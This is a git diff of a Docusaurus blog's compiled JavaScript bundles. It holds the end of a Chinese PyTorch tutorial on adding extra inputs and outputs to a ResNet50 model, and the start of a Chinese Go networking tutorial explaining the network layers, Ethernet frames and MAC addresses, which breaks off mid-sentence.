ren:"\u6211\u4eec\u4ee5torchvision\u7684resnet50\u6a21\u578b\u4e3a\u57fa\u7840\uff0c\u4efb\u52a1\u8fd8\u662f10\u5206\u7c7b\u4efb\u52a1\u3002\u4e0d\u540c\u70b9\u5728\u4e8e\uff0c\u6211\u4eec\u5e0c\u671b\u5229\u7528\u5df2\u6709\u7684\u6a21\u578b\u7ed3\u6784\uff0c\u5728\u5012\u6570\u7b2c\u4e8c\u5c42\u589e\u52a0\u4e00\u4e2a\u989d\u5916\u7684\u8f93\u5165\u53d8\u91cfadd_variable\u6765\u8f85\u52a9\u9884\u6d4b\u3002\u5177\u4f53\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Model(nn.Module):\n def __init__(self, net):\n super(Model, self).__init__()\n self.net = net\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(0.5)\n self.fc_add = nn.Linear(1001, 10, bias=True)\n self.output = nn.Softmax(dim=1)\n \n def forward(self, x, add_variable):\n x = self.net(x)\n x = torch.cat((self.dropout(self.relu(x)), add_variable.unsqueeze(1)),1)\n x = self.fc_add(x)\n x = self.output(x)\n return x\n"})}),"\n",(0,s.jsx)(n.p,{children:'\u8fd9\u91cc\u7684\u5b9e\u73b0\u8981\u70b9\u662f\u901a\u8fc7torch.cat\u5b9e\u73b0\u4e86tensor\u7684\u62fc\u63a5\u3002torchvision\u4e2d\u7684resnet50\u8f93\u51fa\u662f\u4e00\u4e2a1000\u7ef4\u7684tensor\uff0c\u6211\u4eec\u901a\u8fc7\u4fee\u6539forward\u51fd\u6570\uff08\u914d\u5957\u5b9a\u4e49\u4e00\u4e9b\u5c42\uff09\uff0c\u5148\u5c061000\u7ef4\u7684tensor\u901a\u8fc7\u6fc0\u6d3b\u51fd\u6570\u5c42\u548cdropout\u5c42\uff0c\u518d\u548c\u5916\u90e8\u8f93\u5165\u53d8\u91cf"add_variable"\u62fc\u63a5\uff0c\u6700\u540e\u901a\u8fc7\u5168\u8fde\u63a5\u5c42\u6620\u5c04\u5230\u6307\u5b9a\u7684\u8f93\u51fa\u7ef4\u5ea610\u3002'}),"\n",(0,s.jsx)(n.p,{children:'\u53e6\u5916\u8fd9\u91cc\u5bf9\u5916\u90e8\u8f93\u5165\u53d8\u91cf"add_variable"\u8fdb\u884cunsqueeze\u64cd\u4f5c\u662f\u4e3a\u4e86\u548cnet\u8f93\u51fa\u7684tensor\u4fdd\u6301\u7ef4\u5ea6\u4e00\u81f4\uff0c\u5e38\u7528\u4e8eadd_variable\u662f\u5355\u4e00\u6570\u503c (scalar) \u7684\u60c5\u51b5\uff0c\u6b64\u65f6add_variable\u7684\u7ef4\u5ea6\u662f (batch_size, )\uff0c\u9700\u8981\u5728\u7b2c\u4e8c\u7ef4\u8865\u5145\u7ef4\u65701\uff0c\u4ece\u800c\u53ef\u4ee5\u548ctensor\u8fdb\u884ctorch.cat\u64cd\u4f5c\u3002\u5bf9\u4e8eunsqueeze\u64cd\u4f5c\u53ef\u4ee5\u590d\u4e60\u4e0b2.1\u8282\u7684\u5185\u5bb9\u548c\u914d\u5957\u4ee3\u7801\u3002'}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5bf9\u6211\u4eec\u4fee\u6539\u597d\u7684\u6a21\u578b\u7ed3\u6784\u8fdb\u884c\u5b9e\u4f8b\u5316\uff0c\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e86\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"net = models.resnet50()\nmodel = Model(net).cuda()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u5916\u522b\u5fd8\u4e86\uff0c\u8bad\u7ec3\u4e2d\u5728\u8f93\u5165\u6570\u636e\u7684\u65f6\u5019\u8981\u7ed9\u4e24\u4e2ainputs\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"outputs = model(inputs, add_var)\n"})}),"\n",(0,s.jsx)(n.h2,{id:"533-\u6dfb\u52a0\u989d\u5916\u8f93\u51fa",children:"5.3.3 \u6dfb\u52a0\u989d\u5916\u8f93\u51fa"}),"\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\u5019\u5728\u6a21\u578b\u8bad\u7ec3\u4e2d\uff0c\u9664\u4e86\u6a21\u578b\u6700\u540e\u7684\u8f93\u51fa\u5916\uff0c\u6211\u4eec\u9700\u8981\u8f93\u51fa\u6a21\u578b\u67d0\u4e00\u4e2d\u95f4\u5c42\u7684\u7ed3\u679c\uff0c\u4ee5\u65bd\u52a0\u989d\u5916\u7684\u76d1\u7763\uff0c\u83b7\u5f97\u66f4\u597d\u7684\u4e2d\u95f4\u5c42\u7ed3\u679c\u3002\u57fa\u672c\u7684\u601d\u8def\u662f\u4fee\u6539\u6a21\u578b\u5b9a\u4e49\u4e2dforward\u51fd\u6570\u7684return\u53d8\u91cf\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u4f9d\u7136\u4ee5resnet50\u505a10\u5206\u7c7b\u4efb\u52a1\u4e3a\u4f8b\uff0c\u5728\u5df2\u7ecf\u5b9a\u4e49\u597d\u7684\u6a21\u578b\u7ed3\u6784\u4e0a\uff0c\u540c\u65f6\u8f93\u51fa1000\u7ef4\u7684\u5012\u6570\u7b2c\u4e8c\u5c42\u548c10\u7ef4\u7684\u6700\u540e\u4e00\u5c42\u7ed3\u679c\u3002\u5177\u4f53\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Model(nn.Module):\n def __init__(self, net):\n super(Model, self).__init__()\n self.net = net\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(0.5)\n self.fc1 = nn.Linear(1000, 10, bias=True)\n self.output = nn.Softmax(dim=1)\n \n def forward(self, x, add_variable):\n x1000 = self.net(x)\n x10 = self.dropout(self.relu(x1000))\n x10 = self.fc1(x10)\n x10 = self.output(x10)\n return x10, x1000\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5bf9\u6211\u4eec\u4fee\u6539\u597d\u7684\u6a21\u578b\u7ed3\u6784\u8fdb\u884c\u5b9e\u4f8b\u5316\uff0c\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e86\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\nnet = models.resnet50()\nmodel = Model(net).cuda()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u5916\u522b\u5fd8\u4e86\uff0c\u8bad\u7ec3\u4e2d\u5728\u8f93\u5165\u6570\u636e\u540e\u4f1a\u6709\u4e24\u4e2aoutputs\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"out10, out1000 = model(inputs, add_var)\n"})})]})}function h(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/5689d8e9.b0b7dd99.js b/assets/js/5689d8e9.b0b7dd99.js new file mode 100644 index 0000000..0fba6b8 --- /dev/null +++ b/assets/js/5689d8e9.b0b7dd99.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7085],{20651:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>h,frontMatter:()=>o,metadata:()=>r,toc:()=>s});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","description":"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/19.GoLang-\u7f51\u7edc\u7f16\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/19.GoLang-\u7f51\u7edc\u7f16\u7a0b.md","tags":[],"version":"current","sidebarPosition":19,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1"},"next":{"title":"fmt","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt"}}');var l=t(74848),i=t(28453);const o={},c="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b",d={},s=[{value:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd",id:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd",level:2},{value:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b",id:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b",level:3},{value:"\u7269\u7406\u5c42",id:"\u7269\u7406\u5c42",level:3},{value:"\u6570\u636e\u94fe\u8def\u5c42",id:"\u6570\u636e\u94fe\u8def\u5c42",level:3},{value:"\u7f51\u7edc\u5c42",id:"\u7f51\u7edc\u5c42",level:3},{value:"\u4f20\u8f93\u5c42",id:"\u4f20\u8f93\u5c42",level:3},{value:"\u5e94\u7528\u5c42",id:"\u5e94\u7528\u5c42",level:3},{value:"socket\u7f16\u7a0b",id:"socket\u7f16\u7a0b",level:2},{value:"socket\u56fe\u89e3",id:"socket\u56fe\u89e3",level:3},{value:"Go\u8bed\u8a00\u5b9e\u73b0TCP\u901a\u4fe1",id:"go\u8bed\u8a00\u5b9e\u73b0tcp\u901a\u4fe1",level:3},{value:"TCP\u534f\u8bae",id:"tcp\u534f\u8bae",level:4},{value:"TCP\u670d\u52a1\u7aef",id:"tcp\u670d\u52a1\u7aef",level:4},{value:"TCP\u5ba2\u6237\u7aef",id:"tcp\u5ba2\u6237\u7aef",level:4},{value:"TCP\u9ecf\u5305",id:"tcp\u9ecf\u5305",level:3},{value:"\u9ecf\u5305\u793a\u4f8b",id:"\u9ecf\u5305\u793a\u4f8b",level:4},{value:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305",id:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305",level:4},{value:"\u89e3\u51b3\u529e\u6cd5",id:"\u89e3\u51b3\u529e\u6cd5",level:4},{value:"Go\u8bed\u8a00\u5b9e\u73b0UDP\u901a\u4fe1",id:"go\u8bed\u8a00\u5b9e\u73b0udp\u901a\u4fe1",level:3},{value:"UDP\u534f\u8bae",id:"udp\u534f\u8bae",level:4},{value:"UDP\u670d\u52a1\u7aef",id:"udp\u670d\u52a1\u7aef",level:4},{value:"UDP\u5ba2\u6237\u7aef",id:"udp\u5ba2\u6237\u7aef",level:4}];function a(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",...(0,i.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b"})}),"\n",(0,l.jsx)(e.h2,{id:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd",children:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd"}),"\n",(0,l.jsx)(e.p,{children:"\u4e92\u8054\u7f51\u7684\u6838\u5fc3\u662f\u4e00\u7cfb\u5217\u534f\u8bae\uff0c\u603b\u79f0\u4e3a\u201d\u4e92\u8054\u7f51\u534f\u8bae\u201d\uff08Internet Protocol Suite\uff09\uff0c\u6b63\u662f\u8fd9\u4e00\u4e9b\u534f\u8bae\u89c4\u5b9a\u4e86\u7535\u8111\u5982\u4f55\u8fde\u63a5\u548c\u7ec4\u7f51\u3002\u6211\u4eec\u7406\u89e3\u4e86\u8fd9\u4e9b\u534f\u8bae\uff0c\u5c31\u7406\u89e3\u4e86\u4e92\u8054\u7f51\u7684\u539f\u7406\u3002\u7531\u4e8e\u8fd9\u4e9b\u534f\u8bae\u592a\u8fc7\u5e9e\u5927\u548c\u590d\u6742\uff0c\u6ca1\u6709\u529e\u6cd5\u5728\u8fd9\u91cc\u4e00\u6982\u800c\u5168\uff0c\u53ea\u80fd\u4ecb\u7ecd\u4e00\u4e0b\u6211\u4eec\u65e5\u5e38\u5f00\u53d1\u4e2d\u63a5\u89e6\u8f83\u591a\u7684\u51e0\u4e2a\u534f\u8bae\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b",children:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b"}),"\n",(0,l.jsxs)(e.p,{children:["\u4e92\u8054\u7f51\u7684\u903b\u8f91\u5b9e\u73b0\u88ab\u5206\u4e3a\u597d\u51e0\u5c42\u3002\u6bcf\u4e00\u5c42\u90fd\u6709\u81ea\u5df1\u7684\u529f\u80fd\uff0c\u5c31\u50cf\u5efa\u7b51\u7269\u4e00\u6837\uff0c\u6bcf\u4e00\u5c42\u90fd\u9760\u4e0b\u4e00\u5c42\u652f\u6301\u3002\u7528\u6237\u63a5\u89e6\u5230\u7684\u53ea\u662f\u6700\u4e0a\u9762\u7684\u90a3\u4e00\u5c42\uff0c\u6839\u672c\u4e0d\u4f1a\u611f\u89c9\u5230\u4e0b\u9762\u7684\u51e0\u5c42\u3002\u8981\u7406\u89e3\u4e92\u8054\u7f51\u5c31\u9700\u8981\u81ea\u4e0b\u800c\u4e0a\u7406\u89e3\u6bcf\u4e00\u5c42\u7684\u5b9e\u73b0\u7684\u529f\u80fd\u3002",(0,l.jsx)(e.img,{alt:"osi\u4e03\u5c42\u6a21\u578b",src:t(59164).A+"",width:"1632",height:"1124"}),"\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u4e92\u8054\u7f51\u6309\u7167\u4e0d\u540c\u7684\u6a21\u578b\u5212\u5206\u4f1a\u6709\u4e0d\u7528\u7684\u5206\u5c42\uff0c\u4f46\u662f\u4e0d\u8bba\u6309\u7167\u4ec0\u4e48\u6a21\u578b\u53bb\u5212\u5206\uff0c\u8d8a\u5f80\u4e0a\u7684\u5c42\u8d8a\u9760\u8fd1\u7528\u6237\uff0c\u8d8a\u5f80\u4e0b\u7684\u5c42\u8d8a\u9760\u8fd1\u786c\u4ef6\u3002\u5728\u8f6f\u4ef6\u5f00\u53d1\u4e2d\u6211\u4eec\u4f7f\u7528\u6700\u591a\u7684\u662f\u4e0a\u56fe\u4e2d\u5c06\u4e92\u8054\u7f51\u5212\u5206\u4e3a\u4e94\u4e2a\u5206\u5c42\u7684\u6a21\u578b\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u6211\u4eec\u4e00\u5c42\u4e00\u5c42\u7684\u81ea\u5e95\u5411\u4e0a\u4ecb\u7ecd\u4e00\u4e0b\u6bcf\u4e00\u5c42\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u7269\u7406\u5c42",children:"\u7269\u7406\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u7684\u7535\u8111\u8981\u4e0e\u5916\u754c\u4e92\u8054\u7f51\u901a\u4fe1\uff0c\u9700\u8981\u5148\u628a\u7535\u8111\u8fde\u63a5\u7f51\u7edc\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u53cc\u7ede\u7ebf\u3001\u5149\u7ea4\u3001\u65e0\u7ebf\u7535\u6ce2\u7b49\u65b9\u5f0f\u3002\u8fd9\u5c31\u53eb\u505a\u201d\u5b9e\u7269\u7406\u5c42\u201d\uff0c\u5b83\u5c31\u662f\u628a\u7535\u8111\u8fde\u63a5\u8d77\u6765\u7684\u7269\u7406\u624b\u6bb5\u3002\u5b83\u4e3b\u8981\u89c4\u5b9a\u4e86\u7f51\u7edc\u7684\u4e00\u4e9b\u7535\u6c14\u7279\u6027\uff0c\u4f5c\u7528\u662f\u8d1f\u8d23\u4f20\u90010\u548c1\u7684\u7535\u4fe1\u53f7\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u6570\u636e\u94fe\u8def\u5c42",children:"\u6570\u636e\u94fe\u8def\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u5355\u7eaf\u76840\u548c1\u6ca1\u6709\u4efb\u4f55\u610f\u4e49\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u8005\u4f1a\u4e3a\u5176\u8d4b\u4e88\u4e00\u4e9b\u7279\u5b9a\u7684\u542b\u4e49\uff0c\u89c4\u5b9a\u89e3\u8bfb\u7535\u4fe1\u53f7\u7684\u65b9\u5f0f\uff1a\u4f8b\u5982\uff1a\u591a\u5c11\u4e2a\u7535\u4fe1\u53f7\u7b97\u4e00\u7ec4\uff1f\u6bcf\u4e2a\u4fe1\u53f7\u4f4d\u6709\u4f55\u610f\u4e49\uff1f\u8fd9\u5c31\u662f\u201d\u6570\u636e\u94fe\u63a5\u5c42\u201d\u7684\u529f\u80fd\uff0c\u5b83\u5728\u201d\u7269\u7406\u5c42\u201d\u7684\u4e0a\u65b9\uff0c\u786e\u5b9a\u4e86\u7269\u7406\u5c42\u4f20\u8f93\u76840\u548c1\u7684\u5206\u7ec4\u65b9\u5f0f\u53ca\u4ee3\u8868\u7684\u610f\u4e49\u3002\u65e9\u671f\u7684\u65f6\u5019\uff0c\u6bcf\u5bb6\u516c\u53f8\u90fd\u6709\u81ea\u5df1\u7684\u7535\u4fe1\u53f7\u5206\u7ec4\u65b9\u5f0f\u3002\u9010\u6e10\u5730\uff0c\u4e00\u79cd\u53eb\u505a\u201d\u4ee5\u592a\u7f51\u201d\uff08Ethernet\uff09\u7684\u534f\u8bae\uff0c\u5360\u636e\u4e86\u4e3b\u5bfc\u5730\u4f4d\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u4ee5\u592a\u7f51\u89c4\u5b9a\uff0c\u4e00\u7ec4\u7535\u4fe1\u53f7\u6784\u6210\u4e00\u4e2a\u6570\u636e\u5305\uff0c\u53eb\u505a\u201d\u5e27\u201d\uff08Frame\uff09\u3002\u6bcf\u4e00\u5e27\u5206\u6210\u4e24\u4e2a\u90e8\u5206\uff1a\u6807\u5934\uff08Head\uff09\u548c\u6570\u636e\uff08Data\uff09\u3002\u5176\u4e2d\u201d\u6807\u5934\u201d\u5305\u542b\u6570\u636e\u5305\u7684\u4e00\u4e9b\u8bf4\u660e\u9879\uff0c\u6bd4\u5982\u53d1\u9001\u8005\u3001\u63a5\u53d7\u8005\u3001\u6570\u636e\u7c7b\u578b\u7b49\u7b49\uff1b\u201d\u6570\u636e\u201d\u5219\u662f\u6570\u636e\u5305\u7684\u5177\u4f53\u5185\u5bb9\u3002\u201d\u6807\u5934\u201d\u7684\u957f\u5ea6\uff0c\u56fa\u5b9a\u4e3a18\u5b57\u8282\u3002\u201d\u6570\u636e\u201d\u7684\u957f\u5ea6\uff0c\u6700\u77ed\u4e3a46\u5b57\u8282\uff0c\u6700\u957f\u4e3a1500\u5b57\u8282\u3002\u56e0\u6b64\uff0c\u6574\u4e2a\u201d\u5e27\u201d\u6700\u77ed\u4e3a64\u5b57\u8282\uff0c\u6700\u957f\u4e3a1518\u5b57\u8282\u3002\u5982\u679c\u6570\u636e\u5f88\u957f\uff0c\u5c31\u5fc5\u987b\u5206\u5272\u6210\u591a\u4e2a\u5e27\u8fdb\u884c\u53d1\u9001\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u90a3\u4e48\uff0c\u53d1\u9001\u8005\u548c\u63a5\u53d7\u8005\u662f\u5982\u4f55\u6807\u8bc6\u5462\uff1f\u4ee5\u592a\u7f51\u89c4\u5b9a\uff0c\u8fde\u5165\u7f51\u7edc\u7684\u6240\u6709\u8bbe\u5907\u90fd\u5fc5\u987b\u5177\u6709\u201d\u7f51\u5361\u201d\u63a5\u53e3\u3002\u6570\u636e\u5305\u5fc5\u987b\u662f\u4ece\u4e00\u5757\u7f51\u5361\uff0c\u4f20\u9001\u5230\u53e6\u4e00\u5757\u7f51\u5361\u3002\u7f51\u5361\u7684\u5730\u5740\uff0c\u5c31\u662f\u6570\u636e\u5305\u7684\u53d1\u9001\u5730\u5740\u548c\u63a5\u6536\u5730\u5740\uff0c\u8fd9\u53eb\u505aMAC\u5730\u5740\u3002\u6bcf\u5757\u7f51\u5361\u51fa\u5382\u7684\u65f6\u5019\uff0c\u90fd\u6709\u4e00\u4e2a\u5168\u4e16\u754c\u72ec\u4e00\u65e0\u4e8c\u7684MAC\u5730\u5740\uff0c\u957f\u5ea6\u662f48\u4e2a\u4e8c\u8fdb\u5236\u4f4d\uff0c\u901a\u5e38\u752812\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u8868\u793a\u3002\u524d6\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u662f\u5382\u5546\u7f16\u53f7\uff0c\u540e6\u4e2a\u662f\u8be5\u5382\u5546\u7684\u7f51\u5361\u6d41\u6c34\u53f7\u3002\u6709\u4e86MAC\u5730\u5740\uff0c\u5c31\u53ef\u4ee5\u5b9a\u4f4d\u7f51\u5361\u548c\u6570\u636e\u5305\u7684\u8def\u5f84\u4e86\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u4f1a\u901a\u8fc7ARP\u534f\u8bae\u6765\u83b7\u53d6\u63a5\u53d7\u65b9\u7684MAC\u5730\u5740\uff0c\u6709\u4e86MAC\u5730\u5740\u4e4b\u540e\uff0c\u5982\u4f55\u628a\u6570\u636e\u51c6\u786e\u7684\u53d1\u9001\u7ed9\u63a5\u6536\u65b9\u5462\uff1f\u5176\u5b9e\u8fd9\u91cc\u4ee5\u592a\u7f51\u91c7\u7528\u4e86\u4e00\u79cd\u5f88\u201d\u539f\u59cb\u201d\u7684\u65b9\u5f0f\uff0c\u5b83\u4e0d\u662f\u628a\u6570\u636e\u5305\u51c6\u786e\u9001\u5230\u63a5\u6536\u65b9\uff0c\u800c\u662f\u5411\u672c\u7f51\u7edc\u5185\u6240\u6709\u8ba1\u7b97\u673a\u90fd\u53d1\u9001\uff0c\u8ba9\u6bcf\u53f0\u8ba1\u7b97\u673a\u8bfb\u53d6\u8fd9\u4e2a\u5305\u7684\u201d\u6807\u5934\u201d\uff0c\u627e\u5230\u63a5\u6536\u65b9\u7684MAC\u5730\u5740\uff0c\u7136\u540e\u4e0e\u81ea\u8eab\u7684MAC\u5730\u5740\u76f8\u6bd4\u8f83\uff0c\u5982\u679c\u4e24\u8005\u76f8\u540c\uff0c\u5c31\u63a5\u53d7\u8fd9\u4e2a\u5305\uff0c\u505a\u8fdb\u4e00\u6b65\u5904\u7406\uff0c\u5426\u5219\u5c31\u4e22\u5f03\u8fd9\u4e2a\u5305\u3002\u8fd9\u79cd\u53d1\u9001\u65b9\u5f0f\u5c31\u53eb\u505a\u201d\u5e7f\u64ad\u201d\uff08broadcasting\uff09\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u7f51\u7edc\u5c42",children:"\u7f51\u7edc\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u6309\u7167\u4ee5\u592a\u7f51\u534f\u8bae\u7684\u89c4\u5219\u6211\u4eec\u53ef\u4ee5\u4f9d\u9760MAC\u5730\u5740\u6765\u5411\u5916\u53d1\u9001\u6570\u636e\u3002\u7406\u8bba\u4e0a\u4f9d\u9760MAC\u5730\u5740\uff0c\u4f60\u7535\u8111\u7684\u7f51\u5361\u5c31\u53ef\u4ee5\u627e\u5230\u8eab\u5728\u4e16\u754c\u53e6\u4e00\u4e2a\u89d2\u843d\u7684\u67d0\u53f0\u7535\u8111\u7684\u7f51\u5361\u4e86\uff0c\u4f46\u662f\u8fd9\u79cd\u505a\u6cd5\u6709\u4e00\u4e2a\u91cd\u5927\u7f3a\u9677\u5c31\u662f\u4ee5\u592a\u7f51\u91c7\u7528\u5e7f\u64ad\u65b9\u5f0f\u53d1\u9001\u6570\u636e\u5305\uff0c\u6240\u6709\u6210\u5458\u4eba\u624b\u4e00\u201d\u5305\u201d\uff0c\u4e0d\u4ec5\u6548\u7387\u4f4e\uff0c\u800c\u4e14\u53d1\u9001\u7684\u6570\u636e\u53ea\u80fd\u5c40\u9650\u5728\u53d1\u9001\u8005\u6240\u5728\u7684\u5b50\u7f51\u7edc\u3002\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u4e24\u53f0\u8ba1\u7b97\u673a\u4e0d\u5728\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\uff0c\u5e7f\u64ad\u662f\u4f20\u4e0d\u8fc7\u53bb\u7684\u3002\u8fd9\u79cd\u8bbe\u8ba1\u662f\u5408\u7406\u4e14\u5fc5\u8981\u7684\uff0c\u56e0\u4e3a\u5982\u679c\u4e92\u8054\u7f51\u4e0a\u6bcf\u4e00\u53f0\u8ba1\u7b97\u673a\u90fd\u4f1a\u6536\u5230\u4e92\u8054\u7f51\u4e0a\u6536\u53d1\u7684\u6240\u6709\u6570\u636e\u5305\uff0c\u90a3\u662f\u4e0d\u73b0\u5b9e\u7684\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u56e0\u6b64\uff0c\u5fc5\u987b\u627e\u5230\u4e00\u79cd\u65b9\u6cd5\u533a\u5206\u54ea\u4e9bMAC\u5730\u5740\u5c5e\u4e8e\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\uff0c\u54ea\u4e9b\u4e0d\u662f\u3002\u5982\u679c\u662f\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\uff0c\u5c31\u91c7\u7528\u5e7f\u64ad\u65b9\u5f0f\u53d1\u9001\uff0c\u5426\u5219\u5c31\u91c7\u7528\u201d\u8def\u7531\u201d\u65b9\u5f0f\u53d1\u9001\u3002\u8fd9\u5c31\u5bfc\u81f4\u4e86\u201d\u7f51\u7edc\u5c42\u201d\u7684\u8bde\u751f\u3002\u5b83\u7684\u4f5c\u7528\u662f\u5f15\u8fdb\u4e00\u5957\u65b0\u7684\u5730\u5740\uff0c\u4f7f\u5f97\u6211\u4eec\u80fd\u591f\u533a\u5206\u4e0d\u540c\u7684\u8ba1\u7b97\u673a\u662f\u5426\u5c5e\u4e8e\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\u3002\u8fd9\u5957\u5730\u5740\u5c31\u53eb\u505a\u201d\u7f51\u7edc\u5730\u5740\u201d\uff0c\u7b80\u79f0\u201d\u7f51\u5740\u201d\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u201c\u7f51\u7edc\u5c42\u201d\u51fa\u73b0\u4ee5\u540e\uff0c\u6bcf\u53f0\u8ba1\u7b97\u673a\u6709\u4e86\u4e24\u79cd\u5730\u5740\uff0c\u4e00\u79cd\u662fMAC\u5730\u5740\uff0c\u53e6\u4e00\u79cd\u662f\u7f51\u7edc\u5730\u5740\u3002\u4e24\u79cd\u5730\u5740\u4e4b\u95f4\u6ca1\u6709\u4efb\u4f55\u8054\u7cfb\uff0cMAC\u5730\u5740\u662f\u7ed1\u5b9a\u5728\u7f51\u5361\u4e0a\u7684\uff0c\u7f51\u7edc\u5730\u5740\u5219\u662f\u7f51\u7edc\u7ba1\u7406\u5458\u5206\u914d\u7684\u3002\u7f51\u7edc\u5730\u5740\u5e2e\u52a9\u6211\u4eec\u786e\u5b9a\u8ba1\u7b97\u673a\u6240\u5728\u7684\u5b50\u7f51\u7edc\uff0cMAC\u5730\u5740\u5219\u5c06\u6570\u636e\u5305\u9001\u5230\u8be5\u5b50\u7f51\u7edc\u4e2d\u7684\u76ee\u6807\u7f51\u5361\u3002\u56e0\u6b64\uff0c\u4ece\u903b\u8f91\u4e0a\u53ef\u4ee5\u63a8\u65ad\uff0c\u5fc5\u5b9a\u662f\u5148\u5904\u7406\u7f51\u7edc\u5730\u5740\uff0c\u7136\u540e\u518d\u5904\u7406MAC\u5730\u5740\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u89c4\u5b9a\u7f51\u7edc\u5730\u5740\u7684\u534f\u8bae\uff0c\u53eb\u505aIP\u534f\u8bae\u3002\u5b8